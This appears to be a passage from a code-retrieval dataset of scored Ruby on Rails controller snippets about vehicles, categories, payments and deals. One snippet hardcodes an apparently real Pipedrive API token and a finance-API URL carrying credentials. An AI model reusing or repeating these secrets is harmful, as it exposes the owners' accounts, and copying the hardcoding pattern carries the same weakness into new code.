VehicleType.all\n\n render json: @vehicle_types\n end", "title": "" }, { "docid": "8232a5b9ca4485190b2d110041e76b36", "score": "0.5776474", "text": "def show\n @vehicle = vehicle_type.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "5ebd14021970aab8e03fdc66da2ff49e", "score": "0.57707846", "text": "def show\n @refagencycategory = Refagencycategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @refagencycategory }\n end\n end", "title": "" }, { "docid": "6ee0d58d170be95ac649d22268bc7aba", "score": "0.57675415", "text": "def show\n render json: @vehicle_type\n end", "title": "" }, { "docid": "34a5a6254b1942f20fbffc9523c9cb4c", "score": "0.57592833", "text": "def index\n @ser_payments = current_user.payments.where(entity_type: 'ServiceBooking')\n @insu = current_user.payments.where(entity_type: 'InsuranceRenewal')\n @payments = {\"ServiceBooking\": @ser_payments, \"InsuranceRenewal\": @insu}\n render json: @payments\n end", "title": "" }, { "docid": "703c130903f206d0859216744a18e7aa", "score": "0.5757591", "text": "def show\n @breadcrumb = 'read'\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "7659fc2331b881bd4f4785af2c1b76f3", "score": "0.57568383", "text": "def show\n @deal = Deal.find(params[:id])\n\n token_my_finance = \"https://2a4d1f61dd6bf122b55890b72bff57032ded61f0bdcf8c3e:[email protected]/\"\n \n\n token_pipedrive = \"api_token=57f839e9a500cf2ef6b9dc8b156bce2c09a0905d\"\n uri_pipedrive_prod = \"http://api.pipedrive.com/v1/deals/#{@deal.pipedrive_id}/products?start=0&#{token_pipedrive}\"\n\n respprod = Net::HTTP.get_response(URI.parse(uri_pipedrive_prod))\n parsedprod = JSON.parse(respprod.body)\n\n parsedprod[\"data\"].each do |registro|\n uri_my_finance = \"#{token_my_finance}entities/12276/receivable_accounts\"\n uritpprod = \"http://api.pipedrive.com/v1/products/#{registro['product_id']}?#{token_pipedrive}\"\n resptpprod = Net::HTTP.get_response(URI.parse(uritpprod))\n parsedtpprod = JSON.parse(resptpprod.body)\n\n #uri_my_finance_categ = \"#{token_my_finance}categories\"\n #resp_categ = RestClient.get(uri_my_finance_categ, {:accept => :json})\n #parsedresp_categ = JSON.parse(resp_categ.body)\n #parsedresp_categ.each do |registro|\n # registro[\"category\"][\"id\"]\n # registro[\"category\"][\"full_name\"]\n #end\n\n resp = RestClient.post( uri_my_finance,\n { :receivable_account => {\n due_date: \"2012-10-10\",\n\t amount: registro[\"sum\"],\n category_id: 1747046,\n\t\t person_id: @deal.company_id\n }\n },\n :accept => :json,\n :content_type => :json\n )\n end\n\n redirect_to :action => :index\n\n #respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @deal }\n #end\n end", "title": "" }, { "docid": "0689c5100dd7bab041c3f89b415e6ffb", "score": "0.5756688", "text": "def index\n add_breadcrumb \"Vehicles\", :vehicles_path\n if current_user.admin?\n @vehicles = Vehicle.order(:vehicle_type)\n else\n @vehicles = current_user.vehicles\n end \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end", "title": "" }, { "docid": "9c31c09c4dcd65a564113f58d8821895", "score": "0.5741723", "text": "def category\n ts_deals = Deal.filtered_search(\n :category => params[:name] == \"all\" ? nil : params[:name],\n :lat => params[:lat],\n :lon => params[:long],\n :range => params[:range] || Deal::MAX_RANGE,\n :age => Deal::MAX_AGE.days,\n :page => params[:page])\n\n @deals = Array.new\n ts_deals.map do |deal|\n if deal.hidden == false\n @deals.push deal\n end\n end\n \n \n options = { :minimal => true }\n options[:current_user] = current_user if current_user\n #render :json => paginate(@deals).compact.as_json(options)\n render :json => @deals.compact.as_json(options)\n end", "title": "" }, { "docid": "39fc6c5209443618e7fb18b2e62133ef", "score": "0.5734356", "text": "def show\n @applied_vehicle_detail = AppliedVehicleDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applied_vehicle_detail }\n end\n end", "title": "" }, { "docid": "1a98fb1b1736611758f6d54154584b94", "score": "0.5731128", "text": "def show\n @rate_category = RateCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rate_category }\n end\n end", "title": "" }, { "docid": "f1f344ef7316d378cfd8182ef11206ec", "score": "0.57283014", "text": "def index\n @categories = @budget.categories\n end", "title": "" }, { "docid": "fd7297fcd532ed5716c4d0c204893e39", "score": "0.57252425", "text": "def show\n render json: @vehicle\n end", "title": "" }, { "docid": "b8b40ec0c839e263abf38147ebd51116", "score": "0.5699263", "text": "def vehicle\n fetch('conan.vehicles')\n end", "title": "" }, { "docid": "2e43664306ef798987c9cb4e351e2115", "score": "0.5688847", "text": "def show\n render json: @recipe_category\n end", "title": "" }, { "docid": "cc039b14bf055a1bc2ba6109b5c446f2", "score": "0.56883645", "text": "def index\n @refagencycategories = Refagencycategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @refagencycategories }\n end\n end", "title": "" }, { "docid": "e9c8fb68d5f3046b0d9b9451462b2fd0", "score": "0.56845075", "text": "def show\n @vehicle = Vehicle.find(params[:vehicle_id])\n @service_item = @vehicle.service_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service_item }\n end\n end", "title": "" }, { "docid": "8eb405a31b2ffa797b7947913a14cb1b", "score": "0.56790227", "text": "def show\n @type_vehicle = TypeVehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_vehicle }\n end\n end", "title": "" }, { "docid": "d098eba20896a1c4f1e71f5d5e96241f", "score": "0.5674347", "text": "def index\n @commodities = PlanetaryCommodity.find(:all, :conditions => ['tier > 0'])\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schematics }\n end\n end", "title": "" }, { "docid": "3391527f87f64dd379570730a8ca17ae", "score": "0.56716776", "text": "def index\n @conductors = Conductor.all\n render :json => @conductors\n end", "title": "" }, { "docid": "6220a186d36b438bf1c6ccc731ed952b", "score": "0.56709325", "text": "def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end", "title": "" }, { "docid": "0ecad80fc9d20297b0e5f68dcd206c14", "score": "0.5656273", "text": "def set_vehicle_category\n @vehicle_category = VehicleCategory.find(params[:id])\n end", "title": "" }, { "docid": "5f97ef400b18151c27f96cd8f7e73c73", "score": "0.56550074", "text": "def show\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "f477230c33075803bfb6dd600eb6cf1b", "score": "0.5653795", "text": "def categorize\n out = {}.to_json\n if params[:url]\n # uri_enc_url = Rack::Utils.escape(params[:url])\n endpoint = \"http://access.alchemyapi.com/calls/url/URLGetCategory\"\n q = \"#{endpoint}?apikey=#{ENV[\"ALCHEMY_KEY\"]}&url=#{params[:url]}&outputMode=json\"\n out = RestClient.get(q)\n end\n respond_to do |format|\n format.html\n format.json { render :json => out.body }\n end\n end", "title": "" }, { "docid": "96974339355f920868d9496371340afd", "score": "0.5632928", "text": "def new\n @breadcrumb = 'create'\n @vehicle = Vehicle.new\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "9ca58b4fdd7b8e56902548ec94b1b36b", "score": "0.56253827", "text": "def vehicle_by_id(vehicle_id)\n method = \"vehicleById&vehicleId=\" + vehicle_id.to_s\n hash = post_request(method)\n result = {}\n \n vehicle = {}\n vehicle[:year] = hash[\"DBEntityVehicle\"][0][\"year\"][0]\n vehicle[:colour] = hash[\"DBEntityVehicle\"][0][\"colour\"][0]\n vehicle[:plate] = hash[\"DBEntityVehicle\"][0][\"plate\"][0]\n vehicle[:make] = hash[\"DBEntityVehicle\"][0][\"make\"][0]\n vehicle[:model] = hash[\"DBEntityVehicle\"][0][\"model\"][0]\n vehicle[:remark] = hash[\"DBEntityVehicle\"][0][\"remark\"][0]\n result[:info] = vehicle\n \n amenities = hash[\"DBEntityVehicle\"][0][\"features\"][0][\"WSAmenity\"]\n amenities_array = []\n amenities.each { |x| \n amenities_array.push( { :name => x[\"name\"],\n :description => x[\"description\"][0] })\n }\n result[:amenities] = amenities_array\n result\n end", "title": "" }, { "docid": "d12df56a4d9e6761f5381f7d5dc91009", "score": "0.5620135", "text": "def show\n @city_service_category = CityServiceCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @city_service_category }\n end\n end", "title": "" }, { "docid": "89dc3b117bc719b8f695fa52670150f2", "score": "0.56139374", "text": "def index\n @budgets = Budget.all\n render json: @budgets\n end", "title": "" }, { "docid": "1a97452ca71085577ca4761f73e635ce", "score": "0.5611367", "text": "def show\n @race_category = RaceCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @race_category }\n end\n end", "title": "" }, { "docid": "95b9c87355f3dc29c993be8b1dd0fe90", "score": "0.55954397", "text": "def get_carriers_by_country(args = {}) \n get(\"/mobile.json/countries\", args)\nend", "title": "" }, { "docid": "95b9c87355f3dc29c993be8b1dd0fe90", "score": "0.55954397", "text": "def get_carriers_by_country(args = {}) \n get(\"/mobile.json/countries\", args)\nend", "title": "" }, { "docid": "59bd48cf99dbdb6ec627334f7bdd1e2c", "score": "0.55855656", "text": "def show\n @concentration = Concentration.find(params[:id])\n @business_sectors = BusinessSector.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concentration }\n end\n end", "title": "" }, { "docid": "c92c85917c38afbcbd6ec12f6bd941a5", "score": "0.5585191", "text": "def show\n @income_category = IncomeCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income_category }\n end\n end", "title": "" }, { "docid": "968ebfd7f77d62dfcf26c0310488f3e9", "score": "0.55809253", "text": "def show\n @v2dealocity_deal = V2dealocityDeal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v2dealocity_deal }\n end\n end", "title": "" }, { "docid": "4328671acf9aef4aae99e136183b21e1", "score": "0.5577578", "text": "def new\n add_breadcrumb \"Vehicles\", :vehicles_path\n @vehicle = Vehicle.new\n @vehicle.build_construction\n get_list\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "d2e42b3444666f9ff6c6ac1264b1a2ed", "score": "0.5577415", "text": "def show_category\n\t\tunless api_key_is_valid?\n\t\t\treturn render json: 'Invalid API key.', status: 401\n\t\tend\n\n\t\tresult = Array.new\n\n\t\tunless User.exists? params[:id]\n\t\t\treturn render json: 'No such user was found', status: 404\n\t\tend\n\n\t\trecords = Amount.find_by_sql [\n\t\t\t'SELECT name, value, category\n\t\t\t FROM users AS u\n\t\t\t INNER JOIN amounts AS a\n\t\t\t ON u.id = a.user_id\n\t\t\t WHERE a.user_id = ? AND category = ?',\n\t\t\t params[:id], params[:category]\n\t\t]\n\n\t\trecords.each do |record|\n\t\t\tresult << record.attributes.except('id')\n\t\tend\n\n\t\treturn render json: result, status: 200\n\tend", "title": "" }, { "docid": "19b416ef80ed159bd315ea466998e44d", "score": "0.5569453", "text": "def show\n @payment_condition = PaymentCondition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @payment_condition }\n end\n end", "title": "" }, { "docid": "bdcb1c43599c13b2c0d3768dc97186f1", "score": "0.55690557", "text": "def vehicle_by_id(vehicle_id)\n method = \"vehicleById&vehicleId=\" + vehicle_id.to_s\n hash = post_request(method)\n result = {}\n\t\n\t vehicle = {}\n vehicle[:year] = hash[\"DBEntityVehicle\"][0][\"year\"][0]\n vehicle[:colour] = hash[\"DBEntityVehicle\"][0][\"colour\"][0]\n vehicle[:plate] = hash[\"DBEntityVehicle\"][0][\"plate\"][0]\n vehicle[:make] = hash[\"DBEntityVehicle\"][0][\"make\"][0]\n vehicle[:model] = hash[\"DBEntityVehicle\"][0][\"model\"][0]\n vehicle[:remark] = hash[\"DBEntityVehicle\"][0][\"remark\"][0]\n\t result[:info] = vehicle\n \n\t amenities = hash[\"DBEntityVehicle\"][0][\"features\"][0][\"WSAmenity\"]\n amenities_array = []\n amenities.each { |x| \n amenities_array.push( { :name => x[\"name\"],\n :description => x[\"description\"][0] })\n }\n result[:amenities] = amenities_array\n result\n end", "title": "" }, { "docid": "071931cc79954627e29066b57bdc4eed", "score": "0.5556777", "text": "def carriers(country_id = nil)\n if country_id\n get_json \"/api/carriers.json?country_id=#{country_id}\"\n else\n get_json \"/api/carriers.json\"\n end\n end", "title": "" }, { "docid": "210d5a14b3d819092a611b3b837a16cb", "score": "0.55566627", "text": "def index\n render json: Payment.where(loan_id: params[:loan_id])\n end", "title": "" }, { "docid": "68e4e10d354ea5189299490e9afe03b3", "score": "0.55540955", "text": "def show\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\nend", "title": "" }, { "docid": "e646150be802736feac99b258c7ec07a", "score": "0.5553241", "text": "def index\n if current_user.admin?\n @vehicles = Vehicle.order(:vehicle_type)\n else\n @vehicles = current_user.vehicles\n end \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end", "title": "" }, { "docid": "24dd761b4afa95794a97d053e2ed6e1d", "score": "0.5552401", "text": "def vehicle_category_and_payment_params\n params.require(:vehicle_category_and_payment).permit(:category, :payment_per_km, :payment_per_return_km)\n end", "title": "" }, { "docid": "61e217218f66d62a9d6501c385424087", "score": "0.5548973", "text": "def get_categories(format)\n rest_url=\"#{@api}/api/#{@header['Fk-Affiliate-Id']}.#{format}\"\n RestClient.get rest_url\n end", "title": "" }, { "docid": "3b1c70c93417ec108bbabb77880a39ff", "score": "0.55471104", "text": "def show\n id = params[:id]\n resp = {}\n categorie = Category.find(id)\n resp[\"name\"] = categorie.name\n resp[\"users\"] = Service.where('category_id = ?', categorie.id)\n resp[\"url_image\"] = categorie.url_image\n resp[\"id\"] = categorie.id\n render json: resp, status: 200 \n end", "title": "" }, { "docid": "b9ea4e09667b3bc539cf5f35307edd2e", "score": "0.554585", "text": "def show\n render json: @competitor_price\n end", "title": "" }, { "docid": "b9ea4e09667b3bc539cf5f35307edd2e", "score": "0.554585", "text": "def show\n render json: @competitor_price\n end", "title": "" }, { "docid": "b5eb7d53fc652e4acf9723af66a14e9d", "score": "0.55426687", "text": "def show\n @carpool = Carpool.find(params[:id])\n render json: @carpool, status: 200\n end", "title": "" }, { "docid": "76b7d94a6c44c4e5e405483bbf2c9a3d", "score": "0.55385613", "text": "def show\n @ref_benefit_category = Ref::BenefitCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_benefit_category }\n end\n end", "title": "" }, { "docid": "035c00a78714cb6b925071e5d0fee4aa", "score": "0.5535038", "text": "def show\n @investment_asset_category = InvestmentAssetCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @investment_asset_category }\n end\n end", "title": "" }, { "docid": "65455031d767946e93f8ada7b3d685d5", "score": "0.5525824", "text": "def brake_products\n @category = Category.find(params[:id])\n @category.model = @category.model.gsub(' ', '_')\n @category.submodel = @category.submodel.gsub(' ', '_')\n\n ### Check if any product with category_id = params[:id]\n\n submodel = [\"All\", \"all\", \"ALL\"].include?(@category.submodel) ? 'submodel' : @category.submodel\n product_listing_uri = URI.parse(\"https://www.r1concepts.com/listing/search/#{@category.year}/#{@category.make}/#{@category.model}/#{submodel}\") #Get the makes\n\n\n puts \"PRODUCT URI:\", product_listing_uri\n\n http_client = Net::HTTP.new(product_listing_uri.host, product_listing_uri.port)\n http_client.use_ssl = true\n\n make_get_request = Net::HTTP::Get.new(product_listing_uri) # Now for some reason, getting models is a HTTP GET LOL\n\n response = http_client.request(make_get_request)\n page = Nokogiri::HTML(response.body)\n\n\n get_option_url = URI.parse('https://www.r1concepts.com/listing/searchOption/')\n get_color_option_url = URI.parse('https://www.r1concepts.com/listing/searchColorOption/')\n # Prepare AJAX call to grab the price\n get_price_url = URI.parse(\"https://www.r1concepts.com/listing/getPrice/\")\n\n page.css(\"[id^=single_pro_]\").each_with_index do |product_div_container, product_index|\n\n product_index+=1\n product_title = product_div_container.css(\"#optcaption#{product_index}\").text\n\n product_description = product_div_container.css(\"#optdesc#{product_index}\").text\n\n product_div_container.css(\"ul#opt#{product_index} > li\").each_with_index do |product_variation_li, variation_index|\n a_tag = product_variation_li.css('a.subcat_option').first\n rel = a_tag['rel']\n accesskey = a_tag['accesskey']\n puts (\"REL: #{rel} ACCESSKEY: #{accesskey}\")\n cat = product_variation_li.css(\"#category#{rel}#{accesskey}\").first['value']\n subcat = product_variation_li.css(\"#subcat#{rel}#{accesskey}\").first['value']\n prefix = product_variation_li.css(\"#prefix#{rel}#{accesskey}\").first['value']\n rotor_set = product_variation_li.css(\"#rotor_set#{rel}#{accesskey}\").first['value']\n brand = product_variation_li.css(\"#brand#{rel}#{accesskey}\").first['value']\n brand_id = product_variation_li.css(\"#brand_id#{rel}#{accesskey}\").first['value']\n\n\n\n # Get ROTOR Colors based on Performance\n color_options_response_json = ajax_post(get_option_url, {\n subcat: subcat,\n prefix: prefix,\n cat: cat,\n brand_id: brand_id,\n rotor_set: rotor_set,\n count: 1,\n year: @category.year,\n make: @category.make,\n model: @category.model,\n submodel: @category.submodel\n }, {is_json: true})\n\n rotor_color_options = Nokogiri::HTML(color_options_response_json[\"colorcoatselect\"])\n rotor_colors = []\n rotor_color_options.css('option').each do |option_tag|\n if option_tag['value'].include?(\"_\")\n rotor_colors << option_tag['value'].split('_')[0]\n end\n end\n\n position_options = Nokogiri::HTML(color_options_response_json[\"allposition\"])\n positions = []\n position_options.css('option').each do |option_tag|\n positions << option_tag['value']\n end\n\n rotor_colors.each do |rotor_color|\n positions.each do |position|\n # Get PRICE based on Color and position\n get_price_json = ajax_post(get_price_url, {\n subcat: subcat,\n prefix: prefix,\n cat: cat,\n brand_id: brand_id,\n brand: brand,\n rotor_color: rotor_color,\n rotor_set: rotor_set,\n counter: 1,\n year: @category.year,\n make: @category.make,\n model: @category.model,\n submodel: @category.submodel,\n position: position\n }, {is_json: true})\n\n product_price = get_price_json['product_price'].gsub!('$','').to_f\n retail_price = get_price_json['retail_price']\n description = get_price_json['brand_desc']\n\n form_data_for_DB = {\n name: product_title,\n description: description,\n subcat: subcat,\n prefix: prefix,\n cat: cat,\n brand_id: brand_id,\n brand: brand,\n rotor_color: rotor_color,\n rotor_set: rotor_set,\n position: position,\n product_price: product_price,\n retail_price: retail_price,\n category_id: @category.id\n }\n Product.find_or_create_by(form_data_for_DB)\n end\n\n end\n\n end\n end\n redirect_to root_path\n end", "title": "" }, { "docid": "92a6a3f0560926e9e04fa5a12e077863", "score": "0.5519851", "text": "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "title": "" }, { "docid": "6d9f3ba727609d437a96b3a9245b74f7", "score": "0.55156785", "text": "def carrier(guid)\n get_json \"/api/carriers/#{guid}.json\"\n end", "title": "" }, { "docid": "cdc2b8d9d7536125f8f8990653e3b31b", "score": "0.5510933", "text": "def index\n if category_params[:name]\n return api_error('Category not found') if @category.nil?\n\n # Return restaurants for a given category sorted by\n # the restaurant with the most reviews and highest rating\n restaurants = @category.restaurants.order(review_count: :desc, stars: :desc)\n json_response(restaurants: Serializers::Restaurant.index(restaurants))\n else\n categories = Category.all\n json_response(categories: Serializers::Category.index(categories))\n end\n end", "title": "" }, { "docid": "07c852c3067829bb2d80b9fb4dd834f8", "score": "0.55066895", "text": "def index\n# @category3s = Category3.all\n\n @category1 = Category1.find(params[:category1_id])\n @category2 = @category1.category2s.find(params[:category2_id])\n @category3 = @category2.category3s.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: [@category1, @category2,@category3] }\n\n end\n end", "title": "" }, { "docid": "83e4e9708567402c30df773f43f445cf", "score": "0.5502946", "text": "def index\n @api_v1_expense_categories = Api::V1::ExpenseCategory.all\n end", "title": "" }, { "docid": "c005817a26c9e7f89e3062e951dcab32", "score": "0.5499348", "text": "def index\n @cages = Cage.where(query_params)\n render json: @cages\n end", "title": "" }, { "docid": "184d1b410fc8f8c424d1073439a8e3a1", "score": "0.5497145", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "0a9eb944216ffa9c0a960a0b63d29bb3", "score": "0.54938537", "text": "def show\n @economic_category = EconomicCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @economic_category }\n end\n end", "title": "" }, { "docid": "0bbd28642f41b0489308bbc6a3feffd6", "score": "0.54929864", "text": "def show\n @vehicle_model = VehicleModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle_model }\n end\n end", "title": "" }, { "docid": "ec37b22738ea5031283b9d23d696c316", "score": "0.5486451", "text": "def show\n @vehicle_make = VehicleMake.find(params[:id])\n respond_to do |format|\n format.json { render json: @vehicle_make }\n format.any\n end\n end", "title": "" }, { "docid": "366d8786793ad1b5e7e7ba8bfcf0e239", "score": "0.5484008", "text": "def show\n @asset_category = AssetCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asset_category }\n end\n end", "title": "" }, { "docid": "97ae08b9041304c1aaa5d0de04309248", "score": "0.5482854", "text": "def get_applications_by_category(args = {}) \n get(\"/clients.json/stats/category\", args)\nend", "title": "" }, { "docid": "e401d169eadb1e63fd8d5c5a794f81b1", "score": "0.54803824", "text": "def show\n @recommend_vip_category = Recommend::VipCategory.find(params[:id])\n breadcrumbs.add I18n.t(\"helpers.titles.#{current_action}\", :model => Model_class.model_name.human), recommend_vip_category_path(@recommend_vip_category)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recommend_vip_category }\n end\n end", "title": "" }, { "docid": "4ee7bda9df0b5c0cc8c1a04a4254f8d5", "score": "0.5479386", "text": "def index\n @devices = Device.where(:category_id => @current_user.category.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devices }\n end\n end", "title": "" }, { "docid": "b18a80f2b197b39cab5213692a5d81ec", "score": "0.5479373", "text": "def show\n @category = PartnerCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "ab2cff02d5ed2c2a0e80d1a2f11a73bd", "score": "0.54789364", "text": "def index\n respond_to do |format|\n format.html\n format.json { render json: Careplan.all }\n end\n end", "title": "" }, { "docid": "67bf2ef8daab8172b064c7a562dc5662", "score": "0.5476022", "text": "def destroy\n @vehicle_category_and_payment.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_category_and_payments_url, notice: 'Vehicle category and payment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5652916cc32234b59ffbd5638daa8974", "score": "0.5471378", "text": "def show\n @payment_term = PaymentTerm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @payment_term }\n end\n end", "title": "" }, { "docid": "136fdfbd052a29c07e09a0a4436b350d", "score": "0.5458814", "text": "def show\n @daily_data_vehicle = DailyDataVehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @daily_data_vehicle }\n end\n end", "title": "" }, { "docid": "17a6571c6ba89c3ffdffdbcb3eb1d52a", "score": "0.5456752", "text": "def new\n @product = Product.new\n @categories = Category.find(:all)\n @carriers = Carrier.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "title": "" }, { "docid": "e20cb5d393eed5c1f06427d628bcdeff", "score": "0.5456679", "text": "def index\n # @composers = Composer.all\n @composers = @category.composers \n\n render json: @composers \n end", "title": "" }, { "docid": "e6d8a5a180d8a68d30616472d8a0535a", "score": "0.54520166", "text": "def index\n comptas = FactureVersement.all\n render json:{\n comptas:comptas\n }\n end", "title": "" }, { "docid": "6b7708f1b685e81b4ff1ff2a7e40abc4", "score": "0.54519033", "text": "def cheap\n\t\t@truck = Truck.find(params[:truck_id])\n\t\t@meals = @truck.meals.where(\"price <?\", 20)\n\t\trender json: @meals\n\tend", "title": "" }, { "docid": "830153ca3d05db867bcd5b63463f9ba0", "score": "0.5451575", "text": "def products\n category = Category.find(params[:id])\n address = Address.where(city: params[:city], taluka: params[:taluka], district: params[:district]).first\n products = category.products.where(address_id: address.id, is_deleted: false)\n render json: {status: \"success\", code: 200, data: products } and return\n end", "title": "" }, { "docid": "1aaaee6e9a317cfd7eabf24daef7cd33", "score": "0.5449068", "text": "def show_daily_track_sorted_vehicle\n render json: @daily_track_by_vehicle\n end", "title": "" }, { "docid": "530c3bee3de346601b8b499ee0083a41", "score": "0.544699", "text": "def new\n @refagencycategory = Refagencycategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @refagencycategory }\n end\n end", "title": "" }, { "docid": "2b10d1d488048854bb0b796eb5cde1b9", "score": "0.5445997", "text": "def show\n @vehicle = Vehicle.find(params[:id])\n @owner = @vehicle.owner\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @vehicle }\n end\n end", "title": "" }, { "docid": "602b34502c2b9b002d90254547db3178", "score": "0.5440912", "text": "def show\n @corpcat = Category.find(2)\n @corp = @corpcat.awards.order(\"name ASC\")\n \n @storecat = Category.find(3)\n @store = @storecat.awards.order(\"name ASC\")\n\n @grovecat = Category.find(5)\n @grove = @grovecat.awards.order(\"name ASC\")\n\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "06c9ce31988484422b7c6bbac88ca36c", "score": "0.54399914", "text": "def index\n render json: Concierge.where(stay_id: params[:stay_id])\n end", "title": "" }, { "docid": "6f9b509f33e6371952f3dc163fb06e6b", "score": "0.5439715", "text": "def index\n @customer_companies = Customer.find(:all, :conditions => \"customer_type_id = 1\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customer_companies }\n end\n end", "title": "" }, { "docid": "b585beb5d7cf7ea2c680544564bb39d4", "score": "0.54381114", "text": "def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end", "title": "" }, { "docid": "ab358a9daa3f4be6fc113b68caa7d9c3", "score": "0.5437093", "text": "def index\n @category_rv_map = RV.all.sort { |a, b| b.year <=> a.year }\n .group_by(&:category)\n .sort { |a,b| b[1].length <=> a[1].length }\n @categories = RV.uniq.pluck(:category)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rvs }\n end\n end", "title": "" }, { "docid": "73b7c25c6889ec65e0d8b3439f75490b", "score": "0.5435158", "text": "def show\n @carpetum = Carpetum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carpetum }\n end\n end", "title": "" }, { "docid": "a8444cca7f0fce448ea2ae5bad1c8ca7", "score": "0.5434207", "text": "def update\n respond_to do |format|\n if @vehicle_category_and_payment.update(vehicle_category_and_payment_params)\n format.html { redirect_to @vehicle_category_and_payment, notice: 'Vehicle category and payment was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_category_and_payment }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_category_and_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41c6aa1b73b91dc11b7cec4f3b421ca6", "score": "0.54338765", "text": "def show\n @hardware_category = HardwareCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hardware_category }\n end\n end", "title": "" }, { "docid": "30134bffab480ea0bdb36129fb1e0fcf", "score": "0.54308563", "text": "def get_restaurant_bycategory \n @restaurant = Restaurant.restaurant_catgory(params[:id] ,params[:latitude], params[:longitude],params[:page])\n render json: ArrayPresenter.new(@restaurant , RestaurantPresenter)\n #render json: @restaurant\n end", "title": "" } ]
f6a841d977f159cc4f39e1e5b9d28954
Invite a User Create a User and invite them to the system
[ { "docid": "23c9cece708f2ae89d0abf9d72a5f40c", "score": "0.0", "text": "def invite_user(invite_user_request, opts = {})\n invite_user_with_http_info(invite_user_request, opts)\n nil\n end", "title": "" } ]
[ { "docid": "a59e9b03fb07ffe1dd6439845cdce371", "score": "0.78062224", "text": "def invite(user)\n participation = @tandem.participations.create(\n user:user,\n token: generate_token\n )\n\n send_invitation_mail participation\n true\n end", "title": "" }, { "docid": "271e4b17f8f77a04da80a0efe9894830", "score": "0.77029073", "text": "def adduser(email, password, first_name, last_name, slug)\n @user = User.invite!(:email => email, :slug => slug) do |u|\n u.skip_invitation = true\n end\n token = @user.instance_variable_get(:@raw_invitation_token)\n User.accept_invitation!(:invitation_token => token,\n :password => password,\n :password_confirmation => password,\n :first_name => first_name,\n :last_name => last_name,\n :slug => slug)\n\n puts \"Created User #{email} with password #{password}\"\n @user\n end", "title": "" }, { "docid": "aaa8f5468e7907bf5342529efeea16d6", "score": "0.7536737", "text": "def invite(user_params, email)\n raise StandardError, 'The account can not be activate' if email.nil?\n self.username = user_params[:username] # set the username\n self.passwd = user_params[:passwd] # set the password\n self.passwd_confirmation = user_params[:passwd_confirmation]\n\n # save user and activate\n User.save_user_and_email(self, email, true)\n end", "title": "" }, { "docid": "a07b2eff395fbf36b7519b859a72850a", "score": "0.7515857", "text": "def create\n user = User.new params.require(:user).permit(:email, 